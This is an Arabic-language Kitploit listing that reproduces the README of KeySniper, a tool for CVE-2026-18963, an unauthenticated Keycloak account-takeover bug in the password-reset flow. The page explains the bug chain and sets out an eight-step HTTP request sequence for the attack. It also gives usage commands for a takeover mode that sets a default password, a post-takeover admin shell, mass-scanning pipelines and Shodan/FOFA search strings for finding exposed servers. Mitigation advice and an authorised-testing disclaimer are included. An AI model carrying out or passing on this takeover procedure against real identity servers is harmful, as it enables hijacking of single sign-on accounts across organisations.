Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
KeySniper — **CVE-2026-18963** — استيلاء غير مصادق عليه على حساب Keycloak عبر تدفق إعادة تعيين بيانات الاعتماد. | Kitploit
أدوات/GitHubGitHub/ynsmroztas/keysniper
الاستطلاعماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالفريق الأحمر
GitHubynsmroztas/keysniper

KeySniper

**CVE-2026-18963** — استيلاء غير مصادق عليه على حساب Keycloak عبر تدفق إعادة تعيين بيانات الاعتماد.

عرض المستودع
3منذ 5س 14دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

KeySniper

KeySniper

المؤلف: Mitsec — x.com/ynsmroztas

CVE-2026-18963 — استيلاء غير مصادق عليه على حساب Keycloak عبر تدفق إعادة تعيين بيانات الاعتماد.

KeySniper هو ماسح ضوئي موجّه للإنتاج لبرامج مكافآت الثغرات ضمن النطاق والاختبارات المصرح بها: إخراج رادار مباشر، اكتشاف النطاقات (realms)، تمييز الاكتشاف عن الاستيلاء، قشرة تفاعلية بعد الاستيلاء، وخط أنابيب الإدخال القياسي (subfinder → httpx → KeySniper).

الوضع الافتراضي هو الاكتشاف (--takeover 0). --takeover 1 يغيّر كلمة مرور الحساب على الهدف.


الثغرة

الحقلالقيمة
CVECVE-2026-18963
CWECWE-640 — آلية استرداد كلمة مرور ضعيفة
CVSS9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
المنتجKeycloak / Red Hat SSO
تم الإصلاح في26.7.2, 26.6.6, 26.4.15
المصادقةلا شيء

يتم ربط خطأين معًا:

  1. tryAnotherWay يخزّن ملاحظة محدّد عامة "true" غير مرتبطة بمعرّف التنفيذ.
  2. ResetCredentialEmail.action() يستدعي context.success() دون التحقق من ACTION_TOKEN_USER_ID.

النتيجة: يمكن لمتصل غير مصادق عليه فرض تدفق إعادة تعيين كلمة المرور لاسم مستخدم معروف والوصول إلى UPDATE_PASSWORD دون النقر على رابط البريد الإلكتروني.

إشارة التأكيد

الفحص ليس "هل توجد نسيت كلمة المرور". التأكيد هو:

  • نموذج المحدّد يُعاد عرضه على رابط إعادة التعيين الأصلي
  • execution= UUID يتغيّر (تسريب تنفيذ البريد الإلكتروني)
  • الاستجابة تحتوي على kc-passwd-update-form
root@kitploit:~
exec3 = 28e2cd30-…   (المحدّد الأول)
exec6 = 8fd21174-…   (GET المحوري)
         UPDATE_PASSWORD

الميزات

  • سجل [radar] مباشر (الموقع، JavaScript، الترويسات، فحص النطاق)
  • اكتشاف النطاقات: 302 Location + HTML/JS + well-known + قائمة كلمات
  • اكتشاف تلقائي لبادئة /auth
  • خط الأنابيب: عناوين URL من الإدخال القياسي من httpx / subfinder
  • مرشح النتائج الإيجابية الكاذبة: مطلوب جسم Keycloak قبل تخمين النطاق
  • --takeover 0 اكتشاف فقط
  • --takeover 1 تعيين كلمة مرور (الافتراضي SelaM1337@@)
  • --shell قشرة تفاعلية للرمز / مساعد واجهة برمجة التطبيقات الإدارية بعد الاستيلاء
  • شارات ملونة: VULN / ATO أحمر، SAFE أخضر، SKIP أصفر

التثبيت

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

يتطلب Python 3.9+.


الاستخدام

root@kitploit:~
# اكتشاف (بدون تغيير كلمة المرور)
python3 KeySniper.py -u https://sso.example.com --takeover 0

# استيلاء + قشرة تفاعلية
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# نطاق / مستخدم
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# خط الأنابيب
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# ملف قائمة
python3 KeySniper.py -l urls.txt --takeover 0 -q

الخيارات

لا تمرّر --takeover 1 أو --shell على تفريغ خط الأنابيب.


التدفق (8 خطوات)

root@kitploit:~
[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → رابط نسيت كلمة المرور (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<user>
[5] GET  startSessionPolling / restart (إن وُجد)
[6] GET  رابط reset-credentials الأصلي  (محوري)
         → إعادة عرض المحدّد + execution= جديد
[7] POST محدّد قديم (بدون رمز إجراء)
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (فقط إذا كان --takeover 1)
         → HTTP 302 + code=  ⇒ استيلاء

الإخراج

root@kitploit:~
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak

leak-no-update لا يُحتسب كـ VULN.


القشرة التفاعلية

تُفتح فقط بعد [ATO] على هدف واحد:

root@kitploit:~
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit

تستخدم منح كلمة مرور مالك المورد (admin-cli، ثم account).
HTTP 403 على /admin/realms يعني أن منح الوصول المباشر / الدور الإداري محدود — يمكن أن يظل الاستيلاء صالحًا.


الاكتشاف

  1. فحص /realms/master ثم /auth/realms/master
  2. جمع النطاقات من Location، HTML، JS، "realm":، المُصدر
  3. قائمة الكلمات (~70 اسمًا) فقط بعد بصمة Keycloak
  4. الاحتفاظ بالنطاقات حيث يُرجع /realms/{name} 200 + جسم Keycloak

البصمات / الاستطلاع

root@kitploit:~
/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA (نطاق البرنامج):

root@kitploit:~
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
root@kitploit:~
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

النتائج الإيجابية الكاذبة

  • أي 200 على / يُتجاهل ما لم يحتوي الجسم على issuer / public_key / login-actions
  • غياب نسيت كلمة المرور → SKIP (إعادة التعيين معطّلة في النطاق)
  • تسريب المحدّد بدون kc-passwd-update-form → SKIP
  • مسارات httpx تُقتطع إلى الأصل (/auth محفوظ)

الإصدارات المتأثرة

Keycloak < 26.7.2 (أيضًا 26.6.x < 26.6.6، 26.4.x < 26.4.15).
التخفيف: تعطيل نسيت كلمة المرور على كل نطاق، ثم الترقية.

لقطة الشاشة في هذا المستودع منقّحة (عنصر نائب sso.lab.local). لا تُنشر الرموز أو كلمات المرور أو رسائل البريد الإلكتروني أو المضيفات الحقيقية.


المؤلف

Mitsec
X: x.com/ynsmroztas


الترخيص

استخدام بحثي على أهداف مصرح بها ضمن النطاق. أبقِ --takeover 1 بعيدًا عن المضيفات خارج النطاق.

تنزيل الأداة
الخيارالافتراضيالمعنى
-u URL—هدف واحد
-l FILE—قائمة عناوين URL
الإدخال القياسيتلقائيأسطر httpx (الحقل الأول = URL)
--takeover 0|10اكتشاف مقابل تغيير كلمة المرور
-U USERadminاسم المستخدم المستهدف
-r REALMautoفرض النطاق أو اكتشافه
--passSelaM1337@@كلمة المرور الجديدة إذا كان takeover=1
-t N4خيوط خط الأنابيب
-qإيقافالنتائج فقط
--shellإيقافقشرة ما بعد الاستيلاء (هدف واحد)
الحالةالمعنى
VULNمحوري + UPDATE_PASSWORD (كلمة المرور لم تتغيّر)
ATOالخطوة 8 نجحت
SAFEإعادة التعيين مفتوحة، لا محدّد قديم (تم التصحيح)
SKIPليس Keycloak / إعادة التعيين معطّلة / تسريب بدون نموذج UPDATE
FAILخطأ شبكة / استثناء غير متوقع